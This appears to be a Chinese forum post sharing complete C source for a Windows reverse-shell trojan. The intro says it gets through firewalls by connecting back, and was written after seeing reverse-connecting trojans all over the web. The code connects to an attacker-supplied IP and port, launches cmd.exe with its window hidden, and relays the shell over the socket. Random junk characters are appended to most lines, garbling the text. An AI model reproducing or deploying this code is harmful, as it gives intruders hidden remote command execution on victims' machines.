这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W ",yq|
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/* ============================== .03Rp5+v
Rebound port in Windows NT tUt_Q;%yC
By wind,2006/7 p3>Md?e
===============================*/ D#A6s32a
#include TKQ^D
#include J9MAnYd)i
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#pragma comment(lib,"wsock32.lib") ICiGZ'k
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void OutputShell(); #r/5!*3
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I^HwXp([
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void main(int argc,char **argv) "L!U7|9J
{ 'uF75C
WSADATA stWsaData; :| !5d{8S8
int nRet; Sp2DpGs~
SOCKADDR_IN stSaiClient,stSaiServer; 3 .K #,
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if(argc != 3) D8{,}@
{ U }AIOtUw
printf("Useage:\n\rRebound DestIP DestPort\n"); 6Yc(|>b!
return; 'j-U=2,n
} jYvl-2A'
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4;Vi@(G)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GG"6O_
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stSaiClient.sin_family = AF_INET; GS7'pTsYH
stSaiClient.sin_port = htons(0); L6#4A3yh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }1%%`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3.1%L"r[)
{ )7X$um
printf("Bind Socket Failed!\n"); RB6Q>3g
return; _zJ /z
} _90<*{bt.
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stSaiServer.sin_family = AF_INET; Lz!JLiMEET
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @|5B}%!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ioEjbqD<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q!W=U8`
{ hC9EL=
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printf("Connect Error!"); ?z2! ?
return; {3.n!7+
} 7t1as.
OutputShell(); 5E*Qqe
} "vg.{
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void OutputShell() ANJL8t-m
{ tfu`_6
char szBuff[1024]; }+Q4s]
SECURITY_ATTRIBUTES stSecurityAttributes; b^&azUkMN
OSVERSIONINFO stOsversionInfo; bWSc&/9y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9 )!}
STARTUPINFO stStartupInfo; JU.!<
char *szShell; $7W5smW/
PROCESS_INFORMATION stProcessInformation; [$pb
unsigned long lBytesRead; jD%|@ux
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &]GR*a
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IsShAi
stSecurityAttributes.lpSecurityDescriptor = 0; TZ `Ypi7r
stSecurityAttributes.bInheritHandle = TRUE; KVr9kcs
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~#i2reG5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !tcz_%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lSlZ^.&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QnP?j&
stStartupInfo.wShowWindow = SW_HIDE; G+Bk!o
stStartupInfo.hStdInput = hReadPipe; '2hy%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2g~ @99`
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GetVersionEx(&stOsversionInfo); ij!],
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switch(stOsversionInfo.dwPlatformId) 5!cp^[rGL
{ Sc#3<nVg
case 1: @}:E{J#g
szShell = "command.com"; 4<Nd5T
break; :WX
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default: u|T]Ne
szShell = "cmd.exe"; /zb/am1#
break; (z.n9lkfi
} ZNM9@;7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^,mN-.W
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send(sClient,szMsg,77,0);
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while(1) /H"fycZ
{ )Tp"l"(G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F'sX ^/;
if(lBytesRead) ]uMZvAjb
{ Yh!=mW!OY
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U#]J5'i
send(sClient,szBuff,lBytesRead,0); B :S8{
} de)4)EzUP
else c;Tp_e@
{ x,]x>Up
lBytesRead=recv(sClient,szBuff,1024,0); U\B9Ab
if(lBytesRead<=0) break; _P!b0x~\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K;WQV,
} ok0ZI>=,
} J*MH`;-
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return; 0nL
#-`S
}